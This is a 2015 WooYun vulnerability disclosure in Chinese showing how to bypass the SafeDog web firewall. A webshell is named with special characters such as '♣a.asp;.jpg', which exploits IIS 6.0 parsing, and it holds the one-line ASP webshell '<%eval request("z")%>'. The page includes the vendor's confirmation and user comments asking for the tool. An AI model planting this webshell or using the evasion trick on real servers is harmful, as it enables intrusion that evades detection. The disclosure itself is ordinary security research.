当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0104444

漏洞标题：网站安全狗免杀神技+IIS6.0解析WebShell访问限制Bypass

相关厂商：安全狗

漏洞作者： RedFree

提交时间：2015-03-28 18:20

修复时间：2015-06-29 15:14

公开时间：2015-06-29 15:14

漏洞类型：设计错误/逻辑缺陷

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-28： 细节已通知厂商并且等待厂商处理中
2015-03-31： 厂商已经确认，细节仅向厂商公开
2015-04-03： 细节向第三方安全合作伙伴开放
2015-05-25： 细节向核心白帽子及相关领域专家公开
2015-06-04： 细节向普通白帽子公开
2015-06-14： 细节向实习白帽子公开
2015-06-29： 细节向公众公开

简要描述：

你想让你的webshell不被安全狗查杀吗？你还在为上传了诸如test.asp;.jpg之类的文件访问时被安全狗拦截而发愁吗？如果是，请往下看，保证不后悔哦！

详细说明：

上次通过使用中文符突破了安全狗对解析文件的拦截，安全狗更新后这个方法就失效了。测试如下：

http://127.0.0.1/躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺躺.asp;.txt


被拦截如图：

1.png


那么这样就没有其它的方法来突破了吗？答案是否定的！
由于安全狗对一些特殊字符没有免疫能力（具体哪些字符可以自行测试，这里只提供一个作为例子），所以依然可以构造特殊的文件名来绕过安全狗的栏截！
我使用：

♣a.asp;.jpg

来做文件名，内容呢则是普通的一句话：

<%eval request("z")%>

。浏览器访问看一下效果：

2.png


同样的道理，可以用♣等特殊字符来作为Webshell的名称实现不被查杀的效果。

3.png


4.png


那么安全狗的全站扫描可不可以查杀的到呢？和正常的文件对比一下，上图，看效果：

5.png


可见安全狗是不查杀带有♣这类字符作为文件名的文件的。

漏洞证明：

2.png


4.png


5.png

修复方案：

新三年、旧三年、缝缝补补又三年，产品发布之前应该尽量做完整的测试！

版权声明：转载请注明来源 RedFree@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-03-31 15:12

厂商回复：

将在新版本中心修复

最新状态：

暂无

漏洞评价：

评论

  1. 2015-03-28 19:59 | Gnest ( 路人 | Rank:0 漏洞数:1 | 一地的白帽子)

    发到Zone先睹为快呀！

  2. 2015-03-28 20:49 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    这下狗哥有的忙了。。。@安全狗

  3. 2015-03-28 22:11 | CplusHua ( 普通白帽子 | Rank:238 漏洞数:33 | 乌云奖金:-1)

    @RedFree 你的菜刀啥时候放出来！

  4. 2015-03-28 22:28 | zhxs ( 实习白帽子 | Rank:32 漏洞数:19 | Jyhack-TeaM：http://bbs.jyhack.com/)

    求详情

  5. 2015-03-28 22:35 | 炊烟 ( 普通白帽子 | Rank:238 漏洞数:44 | 每一天都需要努力。)

    求菜刀

  6. 2015-03-28 22:47 | Azui ( 路人 | Rank:25 漏洞数:10 | 用一只黑色铅笔画一出舞台默剧。)

    这下狗哥有的忙了。。。@安全狗

  7. 2015-03-29 02:06 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘，缘分写在数据库里面。)

    安全狗好像还算比较好绕，上传2个文件，其中一个50m的文件就不拦了。

  8. 2015-03-29 08:56 | RedFree ( 普通白帽子 | Rank:180 漏洞数:40 | 每个系统都有它自身的弱点，无论是相对的还...)

    @园长 昨晚也发了一个webshell上传绕过，和你说的原理上比较相似，不过还没有审核呢。

  9. 2015-03-29 11:55 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

    坐看风起云涌

  10. 2015-03-31 15:38 | 小猫钓鱼 ( 路人 | Rank:26 漏洞数:2 | 喵~)

    绕过安全狗才5rank...

  11. 2015-06-29 16:15 | Me_Fortune ( 普通白帽子 | Rank:209 漏洞数:71 | I'm Me_Fortune)

    相煎何太急。。。